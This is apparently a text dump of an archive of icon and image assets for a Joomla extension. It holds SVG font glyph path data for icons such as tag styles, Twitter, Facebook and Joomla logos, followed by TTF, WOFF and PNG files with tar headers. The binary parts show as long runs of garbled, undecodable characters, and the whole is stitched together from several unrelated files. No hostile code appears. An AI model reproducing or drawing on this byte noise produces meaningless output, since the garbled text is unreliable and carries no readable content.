0-33.032-3.411-45.063-10.43-11.321-6.604-19.92-16.385-25.558-29.073-9.379-21.103-9.379-62.348-9.379-87.616
0-21.928
0-44.604-6.621-59.502-4.505-10.135-12.945-20.497-41.379-20.497-8.837
0-16-7.163-16-16s7.163-15.999 16-15.999c28.435 0 36.874-10.363 41.379-20.5
6.621-14.896 6.621-37.572 6.621-59.501 0-25.268 0-67.392 9.379-88.495
5.638-12.688 14.238-22.468 25.559-29.072 12.031-7.019 26.771-10.43
45.063-10.43 8.836 0 16 7.163 16 16.001 0 8.835-7.163 15.999-16
15.999-28.435 0-36.875 10.362-41.379 20.499-6.621 14.896-6.621 53.568-6.621
75.498 0 25.268 0 51.396-9.379 72.497-4.225 9.504-10.108 17.373-17.552
23.503 7.444 6.128 13.327 14 17.551 23.502zM495.999 272c-28.435 0-36.874
10.362-41.379 20.498-6.621 14.898-6.621 37.574-6.621 59.502 0 25.268 0
66.513-9.378 87.616-5.639 12.688-14.238 22.468-25.56 29.072-12.031
7.019-26.771 10.43-45.062 10.43-8.837 0-16.001-7.163-16.001-16s7.164-16
16.001-16c28.435 0 36.873-10.362 41.379-20.498 6.622-14.898 6.622-52.691
6.622-74.62 0-25.268 0-51.395 9.379-72.498 4.223-9.502 10.105-17.374
17.55-23.501-7.444-6.13-13.327-14-17.55-23.503-9.379-21.102-9.379-47.23-9.379-72.498
0-21.93
0-60.602-6.621-75.498-4.506-10.137-12.944-20.499-41.379-20.499-8.837
0-16.001-7.164-16.001-15.999 0-8.838 7.164-16.001 16.001-16.001 18.291 0
33.030 3.411 45.062 10.43 11.321 6.604 19.921 16.385 25.56 29.072 9.378
21.104 9.378 63.228 9.378 88.495 0 21.929 0 44.604 6.621 59.501 4.505
10.137 12.944 20.5 41.379 20.5 8.837 0 16.001 7.162 16.001 15.999s-7.165
16-16.002 16zM486.005 475.612c6.899 5.52 16.969 4.401 22.488-2.499
5.521-6.9
4.4-16.969-2.498-22.489l-480-415.115c-2.95-2.359-6.48-3.506-9.985-3.506-4.694
0-9.344 2.056-12.504 6.005-5.521 6.9-4.401 16.969 2.499 22.489" />
<glyph unicode=""
glyph-name="src_tagstyle" d="M157.72
422.885l-120.401-167.324 120.401-167.325c4.546-7.578
2.089-17.406-5.488-21.953-2.577-1.545-5.416-2.281-8.217-2.282-5.436
0-10.735 2.771-13.735 7.771l-130.28 183.789 130.28 183.789c4.547 7.578
14.375 10.034 21.952 5.488 7.578-4.547 10.035-14.375 5.488-21.953zM381.719
439.349c-4.546 7.577-14.374 10.035-21.951
5.488-7.578-4.546-10.034-14.375-5.488-21.952l120.402-167.325-120.402-167.324c-4.546-7.578-2.090-17.406
5.488-21.953 2.578-1.545 5.414-2.282 8.217-2.282 5.435 0 10.735 2.771
13.734 7.771l130.281 183.789-130.281 183.788zM307.88 478.639c-8.571
2.143-17.26-3.068-19.403-11.641l-95.999-415.115c-2.143-8.572 3.069-17.258
11.642-19.402 1.303-0.325 2.608-0.48 3.892-0.48 7.169 0 13.693 4.853 15.51
12.122l96 415.115c2.143 8.571-3.069 17.259-11.642 19.401z" />
<glyph unicode=""
glyph-name="src_tagstyle_brackets" d="M512
479.117v-447.114h-48.001c-8.837 0-16 7.163-16 16.001 0 8.835 7.163 15.999
16 15.999h16v383.114h-16c-8.837 0-16 7.163-16 16s7.163 16 16
16h48.001zM351.999 463.118c0-8.837 7.164-16
16.001-16h15.999v-383.114h-15.999c-8.837 0-16.001-7.164-16.001-15.999
0-8.838 7.164-16.001 16.001-16.001h48v447.113h-48c-8.837
0-16.001-7.163-16.001-15.999zM307.88 478.639c-8.571
2.143-17.26-3.068-19.403-11.641l-95.999-415.115c-2.143-8.572 3.069-17.258
11.642-19.402 1.303-0.325 2.608-0.48 3.892-0.48 7.169 0 13.693 4.853 15.51
12.122l96 415.115c2.143 8.571-3.069 17.259-11.642 19.401zM48.001
447.117c8.836 0 16 7.163 16 16 0 8.836-7.164 16-16 16h-48v-447.114h48c8.836
0 16 7.163 16 16.001 0 8.835-7.164 15.999-16 15.999h-16v383.114h16zM144.001
447.117c8.836 0 16 7.163 16 16 0 8.836-7.163 16-16 16h-48v-447.114h48c8.836
0 16 7.163 16 16.001 0 8.835-7.163 15.999-16
15.999h-16.001v383.114h16.001z" />
<glyph unicode="" glyph-name="bundle"
d="M416 416v64h-320v-64h-96v-64c0-53.019 42.979-96 96-96 10.038 0
19.715 1.543 28.81 4.401 23.087-33.004 58.304-56.898
99.19-65.198v-99.203h-32c-35.347 0-64-28.653-64-64h256c0 35.347-28.653
64-64 64h-32v99.203c40.886 8.3 76.103 32.193 99.19 65.198 9.095-2.858
18.772-4.401 28.81-4.401 53.021 0 96 42.981 96 96v64h-96zM96 294c-31.981
0-58 26.019-58 58v32h58v-32c0-20.093 3.715-39.316
10.477-57.034-3.401-0.623-6.899-0.966-10.477-0.966zM474
352c0-31.981-26.019-58-58-58-3.578 0-7.076 0.343-10.477 0.966 6.762 17.718
10.477 36.941 10.477 57.034v32h58v-32z" />
<glyph unicode="" glyph-name="lifetime"
d="M416 416v64h-320v-64h-96v-64c0-53.019 42.979-96 96-96 10.038 0
19.715 1.543 28.81 4.401 23.087-33.004 58.304-56.898
99.19-65.198v-99.203h-32c-35.347 0-64-28.653-64-64h256c0 35.347-28.653
64-64 64h-32v99.203c40.886 8.3 76.103 32.193 99.19 65.198 9.095-2.858
18.772-4.401 28.81-4.401 53.021 0 96 42.981 96 96v64h-96zM96 294c-31.981
0-58 26.019-58 58v32h58v-32c0-20.093 3.715-39.316
10.477-57.034-3.401-0.623-6.899-0.966-10.477-0.966zM304.707
326.403l30.51-93.208-79.217 57.821-79.216-57.821 30.509 93.208-79.468
57.472 98.072-0.214 30.103 93.339 30.104-93.339 98.071
0.214-79.468-57.472zM474 352c0-31.981-26.019-58-58-58-3.578 0-7.076
0.343-10.477 0.966 6.762 17.718 10.477 36.941 10.477
57.034v32h58v-32z" />
<glyph unicode="" glyph-name="twitter"
d="M512 414.791c-18.838-8.354-39.082-14.001-60.33-16.54 21.686 13
38.343 33.585 46.186 58.115-20.298-12.039-42.778-20.78-66.705-25.49-19.16
20.415-46.461 33.17-76.673 33.17-58.011 0-105.044-47.029-105.044-105.039
0-8.233 0.929-16.25 2.72-23.939-87.3 4.382-164.701 46.2-216.509
109.753-9.042-15.514-14.223-33.558-14.223-52.809 0-36.444 18.544-68.596
46.73-87.433-17.219 0.546-33.416 5.271-47.577
13.139-0.010-0.438-0.010-0.878-0.010-1.321 0-50.894 36.209-93.348
84.261-103-8.813-2.4-18.094-3.686-27.674-3.686-6.769 0-13.349 0.66-19.764
1.886 13.368-41.73 52.16-72.103
98.126-72.948-35.95-28.175-81.243-44.967-130.458-44.967-8.479 0-16.84
0.497-25.058 1.47 46.486-29.805 101.701-47.197 161.021-47.197 193.211 0
298.868 160.062 298.868 298.872 0 4.554-0.103 9.084-0.305 13.59 20.528
14.81 38.336 33.31 52.418 54.374z" />
<glyph unicode=""
glyph-name="google-plus" d="M162.9
283.3v-55.9h92.4c-3.7-24-27.9-70.3-92.4-70.3-55.6 0-101 46.1-101 102.9s45.4
102.9 101 102.9c31.7 0 52.8-13.5 64.9-25.1l44.2 42.6c-28.4 26.5-65.2
42.6-109.1 42.6-90.1-0.1-162.9-72.9-162.9-163s72.8-162.9 162.9-162.9c94 0
156.4 66.1 156.4 159.2 0 10.7-1.2 18.9-2.6 27h-153.8zM512
288h-48v48h-48v-48h-48v-48h48v-48h48v48h48z" />
<glyph unicode="" glyph-name="facebook"
d="M304 416h80v96h-80c-61.757
0-112-50.243-112-112v-48h-64v-96h64v-256h96v256h80l16 96h-96v48c0 8.673
7.327 16 16 16z" />
<glyph unicode="" glyph-name="joomla"
d="M133.002 373.661c16.416 16.422 43.001 16.422 59.402
0.016l3.913-3.934 50.552 50.578-3.937 3.94c-28.812 28.85-69.257
38.939-106.21 30.261-5.297 32.591-33.544 57.462-67.587 57.478-37.825
0-68.477-30.721-68.485-68.579 0-32.668 22.795-60
53.331-66.915-11.569-38.725-2.121-82.417 28.423-112.992l113.913-113.95
50.498 50.607-113.905 113.943c-16.341 16.361-16.371 43.063 0.092
59.547zM511.356 443.421c0.008 37.881-30.659 68.579-68.492 68.579-34.617
0-63.239-25.722-67.841-59.119-38.537 11.332-81.892
1.748-112.32-28.704l-113.92-113.95 50.551-50.586 113.883 113.928c16.47
16.483 42.994 16.453 59.342 0.092 16.4-16.415
16.4-43.057-0.016-59.478l-3.897-3.918 50.505-50.624 3.929 3.964c30.229
30.283 39.839 73.378 28.806 111.819 33.575 4.417 59.47 33.182 59.47
67.997zM453.133 136.468c9.051 37.229-0.988 78.162-30.054 107.25l-113.745
113.996-50.551-50.561 113.76-114.006c16.47-16.498 16.432-43.048
0.092-59.424-16.401-16.407-43.002-16.407-59.418 0.015l-3.883
3.895-50.497-50.623 3.866-3.864c30.758-30.797 74.809-40.219 113.684-28.244
6.316-31.341 33.967-54.902 67.129-54.902 37.802 0 68.484 30.675 68.484
68.563 0 34.6-25.59 63.228-58.867 67.905zM306.172
247.658l-113.768-113.996c-16.355-16.384-43.017-16.414-59.472 0.062-16.409
16.452-16.416 43.049-0.022 59.485l3.904 3.887-50.543
50.562-3.867-3.856c-29.38-29.401-39.28-70.917-29.725-108.491-30.199-7.13-52.679-34.317-52.679-66.748-0.008-37.873
30.666-68.563 68.491-68.563 32.55 0.016 59.794 22.709 66.77 53.191
37.351-9.276 78.499 0.652 107.672 29.878l113.745 113.98-50.506
50.609z" />
</font></defs></svg>fonts/RegularLabsIcons.ttf000064400000016200151165506420011617
0ustar00�0OS/2A�"�`cmap��dgasp�glyft���thead�4S�6hhea)4$hmtxKMX�locaY
R��Rmaxp/L name���l�post`
��LfGLf��@�3 H
��"�3���� ��!�0������
���797979@�!!!!!!!!!!!!�`���`���`���
@�!!!!!!!!'!!!!�`@��@��@��`���
` ` � `
@�!!!!!!!!!!!!��`�����`�����`���
@�!!!!!!!!!!!!������` `
` ` ` `
}
%>.'76}VT��dr#''ZN2��|Mw���55&.>
��TV5'#rd�|��2NZ'9�wM)#7.#"3267>7#".54>327�HG&&GG&&G1$c:5]F((F]55]#K@HG&&G+(/(F]55]F((#K@�(2#54&+"#"3!26=4.546327#546;2(8(@(8
r@
.�
@
`(88(`
�
�
�F
�`
��#2#"#"3!26=4&+546;2354.54632�@(8�
@
@8�@
�8(`
�
�
`
``(8�`F
0<%5'.'7'./#'737>77'>?"&54632I+D<
`
<D+IJ+D=
`
=D+J�%%%%�`
<D+II+D<
`
=D+JJ+D=
%%%% 333������ !!�����%###����5!5!5�����!"3!2654&!!�@
�
�@�
�@
�
�
�!"3!2654&!!�@
�
�@�
�@
�
��`'IW%2>54.#"2#".54>2+"&5#+"&=46;235463267#"&'75]F((F]55]F((F]5+L8!!8L++L8!!8L�
@
@
@
` @ 0#:H,"(F]55]F((F]55]F(�!8L++L8!!8L++L8!P 0
0 �"#+'3?M%2>54.#"2#".54>4632#"&74632#"&#"&'73265]F((F]55]F((F]5+L8!!8L++L8!!8LU
�
)H,,H)22(F]55]F((F]55]F(�!8L++L8!!8L++L8!p
�#++#'3?K%2>54.#"2#".54>4632#"&732654&#"32654&#"5]F((F]55]F((F]5+L8!!8L++L8!!8L%%%%�
�
(F]55]F((F]55]F(�!8L++L8!!8L++L8!��%%%%�
�
-5%!57��@������Q��J���!"32>54.3##535#5335]F((F]55]F((F]U@@`�
` (F]55]F((F]55]F(`@� �
��%5%.#"3!267>'+"&=46;25+"&=46;2��� � �
]���""
` � "32>54.!5!5]F((F]55]F((F]K�(F]55]F((F]55]F(��@##��#H'&"7./&4?62764.'"/&4?.72?64/�$d#n##(m61M#�(m61M##$d#n##�##m$d$(6m62"M#dy(6m62"M#d$##m$d$`�8D"32>7.#"&'.'>7>732654&'#"&54632*MB55BM**MB55BMT&&@""@&&K55K~�*;$$;**;$$;*U&&&&
5KK5
�(%'.>54&#"326776&%"&54632�y
pPPppP$? g
&
��5KK55KKLg ?$PppPPp
y
&�K55KK55K
�b��%#"&'.'73267>54&'.'.'.'.'.'.'.5467>32.'.#"'>5467>32654&#"#"3232654&#"&'.54&'.'>7"&'.54&'.'.#"32#"3267>7>5467>32654&#=
� � �
!
7&/
5
6
0&
5
/&&0
6
�b��%#"&'.'73267>54&'.'.'.'.'.'.'.5467>32.'.#"'>5467>32654&#"#"3232654&#"&'.54&'.'>7"&'.54&'.'.#"32#"3267>7>5467>32654&#'6#"&'&67=
� �
� �
!
7&/
5
6
0&
5
/&&0
6
�
�a
�'9#"&/7>7.326?''&:32676&'�yy��
�
yy��J` `���
����
��(�a�
�#5HZ#"&546;#"&5463;#";#"'&:32676&'2654&+32654&+332654&+32654&+0 p 00 ,` `�� 00 ` 00 �A �� � �a�
�A �A
�$0<5!#3267#"!4&+5>7326=#"&=3"%#*'>=3���`8(3
%%
3(8`��":w":�@@@(8#c%%c#8(@z"
:"
�$0;G5!#3267#"!4&+5>7326=#"&=3"7'7'3737#*'>=3���`8(3
%%
3(8`��":�OOObbO�":�@@@(8#c%%c#8(@z"
]::]:]]:"
0�A>7.#".'"&'0#"&'3#*'32>5<5>7"(+>Ap'
0$
6#C%
#R,HpL'�
=,;0.&9
)6Vk4a�+3#"&546327.#"32654&'#%#5##3353�\*0*;;*
,7!D__DFV�]00000084<++< *_DD_YF
00000��35#"#3337#5460PP.B@@`P` �`B.0`�`0 7So627'..#"7'&47%4&#"&7627>'>56&/"/732654&''"'&4?'32676?'�#39&( r3rz('<r2r
"
2":r2r
"
2=&("�r#3(%:r3v2!(%=r2r#
E("r2r
#2=&��:r3r#
3 (&pr
#3;%(r3��B=_<��o���o��(
�#�
Jv���
J��8J\n���@�2d��L��J� � �
T
�
��(��Q�0�
� � a � ; �
4RegularLabsIconsRegularLabsIconsVersion 1.0Version
1.0RegularLabsIconsRegularLabsIconsRegularLabsIconsRegularLabsIconsRegularRegularRegularLabsIconsRegularLabsIconsFont
generated by IcoMoon.Font generated by
IcoMoon.fonts/RegularLabsIcons.woff000064400000016314151165506420011771
0ustar00wOFF��OS/2``A�"cmaphdd��gasp�glyf�ttt��headH66�4Shhea�$$)hmtx���KMlocaDRRY
R�maxp� /name������post�
��LfGLf��@�3 H
��"�3���� ��!�0������
���797979@�!!!!!!!!!!!!�`���`���`���
@�!!!!!!!!'!!!!�`@��@��@��`���
` ` � `
@�!!!!!!!!!!!!��`�����`�����`���
@�!!!!!!!!!!!!������` `
` ` ` `
}
%>.'76}VT��dr#''ZN2��|Mw���55&.>
��TV5'#rd�|��2NZ'9�wM)#7.#"3267>7#".54>327�HG&&GG&&G1$c:5]F((F]55]#K@HG&&G+(/(F]55]F((#K@�(2#54&+"#"3!26=4.546327#546;2(8(@(8
r@
.�
@
`(88(`
�
�
�F
�`
��#2#"#"3!26=4&+546;2354.54632�@(8�
@
@8�@
�8(`
�
�
`
``(8�`F
0<%5'.'7'./#'737>77'>?"&54632I+D<
`
<D+IJ+D=
`
=D+J�%%%%�`
<D+II+D<
`
=D+JJ+D=
%%%% 333������ !!�����%###����5!5!5�����!"3!2654&!!�@
�
�@�
�@
�
�
�!"3!2654&!!�@
�
�@�
�@
�
��`'IW%2>54.#"2#".54>2+"&5#+"&=46;235463267#"&'75]F((F]55]F((F]5+L8!!8L++L8!!8L�
@
@
@
` @ 0#:H,"(F]55]F((F]55]F(�!8L++L8!!8L++L8!P 0
0 �"#+'3?M%2>54.#"2#".54>4632#"&74632#"&#"&'73265]F((F]55]F((F]5+L8!!8L++L8!!8LU
�
)H,,H)22(F]55]F((F]55]F(�!8L++L8!!8L++L8!p
�#++#'3?K%2>54.#"2#".54>4632#"&732654&#"32654&#"5]F((F]55]F((F]5+L8!!8L++L8!!8L%%%%�
�
(F]55]F((F]55]F(�!8L++L8!!8L++L8!��%%%%�
�
-5%!57��@������Q��J���!"32>54.3##535#5335]F((F]55]F((F]U@@`�
` (F]55]F((F]55]F(`@� �
��%5%.#"3!267>'+"&=46;25+"&=46;2��� � �
]���""
` � "32>54.!5!5]F((F]55]F((F]K�(F]55]F((F]55]F(��@##��#H'&"7./&4?62764.'"/&4?.72?64/�$d#n##(m61M#�(m61M##$d#n##�##m$d$(6m62"M#dy(6m62"M#d$##m$d$`�8D"32>7.#"&'.'>7>732654&'#"&54632*MB55BM**MB55BMT&&@""@&&K55K~�*;$$;**;$$;*U&&&&
5KK5
�(%'.>54&#"326776&%"&54632�y
pPPppP$? g
&
��5KK55KKLg ?$PppPPp
y
&�K55KK55K
�b��%#"&'.'73267>54&'.'.'.'.'.'.'.5467>32.'.#"'>5467>32654&#"#"3232654&#"&'.54&'.'>7"&'.54&'.'.#"32#"3267>7>5467>32654&#=
� � �
!
7&/
5
6
0&
5
/&&0
6
�b��%#"&'.'73267>54&'.'.'.'.'.'.'.5467>32.'.#"'>5467>32654&#"#"3232654&#"&'.54&'.'>7"&'.54&'.'.#"32#"3267>7>5467>32654&#'6#"&'&67=
� �
� �
!
7&/
5
6
0&
5
/&&0
6
�
�a
�'9#"&/7>7.326?''&:32676&'�yy��
�
yy��J` `���
����
��(�a�
�#5HZ#"&546;#"&5463;#";#"'&:32676&'2654&+32654&+332654&+32654&+0 p 00 ,` `�� 00 ` 00 �A �� � �a�
�A �A
�$0<5!#3267#"!4&+5>7326=#"&=3"%#*'>=3���`8(3
%%
3(8`��":w":�@@@(8#c%%c#8(@z"
:"
�$0;G5!#3267#"!4&+5>7326=#"&=3"7'7'3737#*'>=3���`8(3
%%
3(8`��":�OOObbO�":�@@@(8#c%%c#8(@z"
]::]:]]:"
0�A>7.#".'"&'0#"&'3#*'32>5<5>7"(+>Ap'
0$
6#C%
#R,HpL'�
=,;0.&9
)6Vk4a�+3#"&546327.#"32654&'#%#5##3353�\*0*;;*
,7!D__DFV�]00000084<++< *_DD_YF
00000��35#"#3337#5460PP.B@@`P` �`B.0`�`0 7So627'..#"7'&47%4&#"&7627>'>56&/"/732654&''"'&4?'32676?'�#39&( r3rz('<r2r
"
2":r2r
"
2=&("�r#3(%:r3v2!(%=r2r#
E("r2r
#2=&��:r3r#
3 (&pr
#3;%(r3��B=_<��o���o��(
�#�
Jv���
J��8J\n���@�2d��L��J� � �
T
�
��(��Q�0�
� � a � ; �
4RegularLabsIconsRegularLabsIconsVersion 1.0Version
1.0RegularLabsIconsRegularLabsIconsRegularLabsIconsRegularLabsIconsRegularRegularRegularLabsIconsRegularLabsIconsFont
generated by IcoMoon.Font generated by
IcoMoon.images/icon-color.png000064400000000652151165506420010573
0ustar00�PNG
IHDR(-S�PLTE��$����+����:FϦ��D�=%��
��+����+I��V�S�4#�=!w�p�d�>����]���/����D]��d� �l��#�m��]�`T�R��9��9�J6��4����q�}����������"M���0O�.O�/O��5&�<$~�}���x�tRNS3�C�.�IDAT�m�G�PE�'_@E�9����_�X�zp���$-��-�����DжI�s�"��{�̲�
�����"Q�C
���,_�3�s�,��`�ax�<���AӴ3&Կ��x��0�f�4U�,��<8T�
�i�Z��(��@
G}��sb�)�IEND�B`�images/logo.png000064400000006251151165506420007470
0ustar00�PNG
IHDR0�hd��PLTE=
!A�!A�?�;�$G�
A�!A�A�!@� A� A�!A� A�!?�
A�?�<�@�#E�>�
A�!B�"@�5y"@�"D�
>�%I� 5} 1n#F�"B����"C� @�%E�#�
�$D�#C����*�8�1�'�0N�����<������
.���u���5����Hc�:W�5S�,J����A\������\t�Oi�)H����������ݢ��t��j��Tm�$E�$D���ꍞ�d{�����ڭphtRNSX���6Chpޟ��ٛ8�P%�d��`�η\+걅��1.�=�� �}z@!�wmTI;���T��u"��0�ж�{L2��riG�peML@�̼C��h^���
IDATh��C1�C- �Z���:hK���
�{��\)���������.�a�V�_�K�#�]��K�`!��v���RײsϮ��`e��ā�H��l�؞�B�+������V���:�XXi�.�Կ�,�Y#6x{0�j9�~���#�;_�2zFSS�XO,1����g~�G����V��8��d�&'�=|��Ï�����P5ݶ�=�,���\�W~k�0W��%�p8/��!̬�'�c�F���=D���w���?.^R����t�a�:�p���u\蒨�D�B���f?�z��ˉ��up�@�-V��MVe�ñ��٘���lj���d|�
��xw��_�j���8ѥ��4�z���LO=z9�ޤ���g�/�Ae�Ĥj뷮��zz��������X�GϞLϦ��XoT��{�>N��<۩ұ��x����+0�������OeA�l(AS�#*�ԙd���
��7uݚ�@/�éd,=&bS�Ы8;����Ok�Y��jZt�M��lt�7[}>�#���u�pT�*}n����j�֔P�M��v��<��#����b��&}��`t�U����ħzҼ*b��T.
<.2Y�e���<�}%+7� ב�S��f/1Nv�F�m�yY:g� 6���d�H'������
ĘNr�������388��s48����إ�!vɣo��b�(�ڒC?ތO�j��a�-�ݭ��87�a��<��!�����Y{�p�|B/z�"���k�"�\BG%y�rJ��Pd[zi�tp7��0��ʏ�I0T�����cɧ:D�˿xRh
�y�.J��G����+���1t_h�\\G>-�]��>i
N^�`�X\��4��D��d�ް���,��qCM�+�|�h��78�-��S�QRZQ���ѝK|6�va �vὨ���4W�G�'�J��V�b6�Xz5B$��rJ(�P���i�:����Q۬T�N0�^Y��7+��X�ću�ꏊ���V���C:����J0
j���.ƍ!iG���,'�r��V��Jg'��>�b��e�ߠ��Q2�
�&��)v�j�2��F� Q+�!��D����xt0�ઠ:�f��I_�d�Q���� pG�9�f�}���rGF`�Z+��
K�*K.y��L�SG5����t�-����X�;�u�I�p�JG��_$b�<�uhh`�b+��!�O�x�:��߫c�jFr+���<u����^<b�$���:v�H5��ڣ�1�aO�輘���ӛ���UaN=Y��Ҡ�o�mY\G��<j��Oc3[�H�)N���n#��@ҫ<m����,�t�_�d��Z)��Aס�Z埄P���^�� \�IN)ɴ/65���&��QM�9���9!qڰ�l�0AN����t���>�/�����F���t�tJ�Ch�nR�40+FO�Թ`f��!���\\"�Mَ^�[졈͔��$pY"��\�����&�+�`{$1Wğ�
\��T22�+���!�N��ʂŀYȹÜ�;�ᓳ�+K���4�r}1^q�)G�f�KcQ�G��%�3|��y=��L"�Wm���v�0@�qm%T��A;�nIUB��&��[GhY\GO���@�jnJQ���oН�D�����j��t�
l���nѧЫt�;l\RGn��&�,u4�2h����UN�_����k��
�N��F�~����Mt}X��I
7i��v����0��U����������7��;;��O��:��qxA*�1��a�@���|%넃�`���W�2��W�Fr�eul_�o3UJ˱w����������P��`T�n�q{�����"�h�Q���'��YaX��Q����d
��=;�ct�":�n�J����A�r흪,�
?~�`dd�ӷ�1u���v�_L��J���B�y�<�%���m��A+�A�ޣ��',�XGy^��(��
e42,��C:86ٕ�i5�d��U�Ɍ�3G��sIM.�9ʖ\(bp�![�PY?J<��TG�\n������X0|���P
�9W���D�s-����1u��
��ޮ|�E�����ܓYu�H�n���C���i�R�ym$����dQ
��$��ҡS߹��!Ǧ�e#'̾� ���=ք�tl��QdS�>�oThsEE7������$��Z2�HX���n<nZ�.�t����&m���&یv�ц��P�ߩJ�EΜ���S;
iW�ƈ�f��:�%��l^P|ƈ�c������w�n���[˪�/�:�@����)���φ���Ɔ��ʆ@�c�y�:�k�谓��,��lф��̜fV�� ~
����ݢ��f��n7�QxR]
�v���.�A�j�b
&�����el�?D#�76�jk��b�/�J��-K�8p|?,��&�$��g�c�o�Jug�W�E��r]T���h��6��T�]��h�����ߨ�����6�9��Z����>�W�,�%X�*aIEND�B`�images/minicolors.png000064400000061553151165506420010714
0ustar00�PNG
IHDRf��qkH�PLTE������777+++NNN[[[CCChhh
uuu�����㋋����������������!!! ///���:::TTT;;;������428$$$```���qro��z������lll���CCC���
tss������SSS��������¡�����FM|
���Ɛ��������qA<����ͩ������D9���������y�A�W/�������������������)0 %�����
�Q
��
����V
C�������I L�����n���8������@�����������k���
��y������
��C��<�{ �����[�
6������
�����n�����M�L�Q��
�]�C7>��m�p>�h
��92���A`�������HGi� b�~�b68��{����_9������s�
��
�:�tu8��
����S��C�N��7�.*��\���y���
��}����b��wc��<��e̫�
�f�����h��c��<a����g�@��`Kݑ����So`FƩ�P��;���z~7NW6�m����
ݨ�bd
�M��M}�~��w�A�I�;T�7u�S�L��~���K�:��oE��˨��uҸ����ӂR�p��ERzU?NtRNS������������������������/q[G���qI�t�B��/��Y��oS|�����������ݦ��{��_�IDATx���kTgƥ@
����R21T0���h��B1�b�B�B@��Ph�&�`#DH����J�tߥ��t!t�+������^�=�|g&3I���y��q�����t�ܑ#s�]����`�����b^~��B^}���+��R��W6�y��j6m�T͆M
Y�a]5�:�YӱFr9�|��'��Ǐ���#�����+W����*f�9̼��ǜ={��ի��3g�\�p�#��j>a�!�/���� �r9���*��է�{�~��B�^ś��U-�Wۘx��Wk��J��?MZ��)�s�������`,��H�FS����XJ���c�z0��o`�Q�uK~l��+�ֹL̎&�0s�QCL댱�c=�����C�&&ÒȬ'8�d�Ni`�,3f�1{a��Ҙ!�f
lT�Rv���-��ǎ$�������=�����mYA�j߫2��3��F�6��l�M�t6�߰�gS)ò���u�h�"fH`6�4�δ�ى�f/�q�Nl���p�}��}�f-��Q����yF��
��Fڱc[�a�8�V��L�1 �C�X"�Qƈ�w����n�0�!����u����6k���3�,��\,��|�eиm'����Vp�<���j�O���Z��*���(��>ΖJZ�Vì3�{,�+-hj|kP��m�Ɛ0j�Y�S�X0���HU�!gh��dF� j�uig�4`ֹ��]])̂�2��4~8�����W�6�N-�f��XP�d�X�~��RR��Ĭ�\g�.A[L˘1�0��v2f.�0�]<��4�6�n`{��k$cb�\f��!e�]yN��"Y��gة�W�S�'�ߩ�0C��Ң�ZǬ2��gAY��"�)�ԩ�1z>�2Kڑ�f
���A�5���02#cAU�ڞ1[��HZ��a�
Ac�g,�fE1;�0D�d�ϰSK�l��c6�f+o��?'F!#e'
�e�h��V0#Z�m$GQ4�m�f���d�[E�
C��>��C�E9cQ�V`�6S�!��n9����!�b�<�
Z��;z؊I�իK�����)�y!}!���Y)̾X!�*�9AY�!�5z���ӷ�gF��a���h�J"��:��bB��mvPb&à}m(lV�M��Qad-"�m�߲%AL)��`6��G#d��a���Čɯ�7ƌ)�x�**l`Û�2����:�\�%��˥z[����T9fH������J.46�,ޭ�M���Ϧ����� 4lF�Z�Ը��T��!8���+���.k3��QU�Q������P��b��zp� �e����
�Z3��,���:�X3ơ�8.:q+y*���x}�&���|�]m��Jڬc�Hj�i26,��&3�J21R��28�� �),�j��hNV
U~�%���},]և�Pf��$[t�h�FM=6�hh����DfX��O��;�!Y=B��]-��{�!fO
&��"������'
1Κ�Y�2�>s�0�,)���0��6���L]�`��Ay9@7(1k�j�i��*d��"3&*���i�2�ų��m��-��cF�pԳS���`f �/���,���ʔy�1�k�F�0[Y�U�G,�ljx��x�r��� �:#d��&v���X�2���a�Ź�03��ۈ�B�5�n
����dN��C����f5�8�v��S���ld`�B�>}J̄�w�1��'O�H�5��Rvj�cvt`֪�$�a�Lf���
��5�P猵<]�1� ��Y4�3�N6k�d��.J#b1����ۍ16��d���VU&KP��1\ �\�|x0�����Ͷ�,��8æ����.Z��I`���C���l�<��\����6.�t����wi 3�΅�3dI6k��=�2fj��QgN�!�8j3�,�4z�`��a��&eɁ�"�+IJ��Fa�E�8���Z�ˌ�%d۷���x������i4�<�2c��\�������~�3��1���f�3��f�`��f��}�3��@�<AN�_����O�]��?f��b6땟��3����0.3<��ٌ�ی��Z�fy��
5�b�7��y̔������8l
�c��-�H�B��q�`XB�:sȺ2���-,�Z��3��6z����}��q�(2{��
e��}_��3��1�Y����f�Y�m�c�䘝�o��0�M!�B�3EC���i�BS�ag�93І�llv��1P��l����j3R�1�Dd,
�8d8U!��8�27Y�5@Fʂ40f�g�$-l�(fm�>P����G������6s�V�f����Y��_�pf{Fbv
�f�2�0cV3�1f�8&�5��3T ӵH�D
��4R�6rFء�!��q�4�lvL*�O�&ͩ�S�Z+��`��
c�f�Ð2��l'c׃/�
���
��9�Ɍ:��3@6?����Tg�jƈ�]~�i��y�1���l��1��֊����N,n�
)3Μ0�3=%��6t&{Fp��^:4DچP.C��!���Βt,�1��]딭��'ݍb���v��[F�,�l���a��ΘpV&3`f%cH`�����0�1�l����=r�Ag���a3�(�d�Y[���j�Rv�)[>fH��')g_��c3�u|���0,9��0����]�ˮM�3ڌq��3o�f�
a�}Cpywy1 c8�����N��8�@e�^oO���6s��1����(dvra��LeV�fm�6��y���Gg�f�k(c3����2Ln�6�ő��<�G���E_�ؙ-&��]hl��Q�Z�Ie�P6K��5e�
8�l* È��a�,�uٵ�!C@Z}�
1[�a�l�0�lg9����HmV,B�x��do5s��f��`�6�_�f��=�Y�Lt��=��Vfh����N����$���Z��x,�5'M<�A�d���1�͖�Yp���l���VrV�26H�$�hj3�2CEg56#i��Ʃ��칬� ��L���Lӷ{�qȄ�����/g��ţ�UΜ2���fL��O��6~�mF���mFȌ�fmƄ�eƘ��
$M��s��h���cƴ�Y�i��o3dl��_�ա�x��=� e�ZOj3��kR�lb_�0C���>g��W�u�������.c&ۅA#�˔��<lˈxi�/[������6��'��lf��N�6{�:�\��f̅���(�?�ݻgW3��8��b�*6���4̂����O>߶�����_�5�f/�h��#�(3��Ԧ>v��f&v�7P%�%ea�I����>;��>f�Y�Ӷ�Y ��H���p���n2�٬w'��IAS�1�X���R��/d�\�1�c�)g�͞d�S��H9�4��݃�$��6��_V���g���ަ1�2��w����Pg����z�n�q��iHЦ�$56�1��PȠ2ꠡCl@�4�Yw^�j]��֒�4
eе��u�9d��2&.bB�t���6�9c�vɢ�i�)����J\f�i�m�`���n����#�ɿ�Qg�_V}&9���0���ߗ5]����)}���Fm�*�`���O_gMbƴ`���>�f"���ٝ�w
��|p����fvd\8i�9h��hi70�
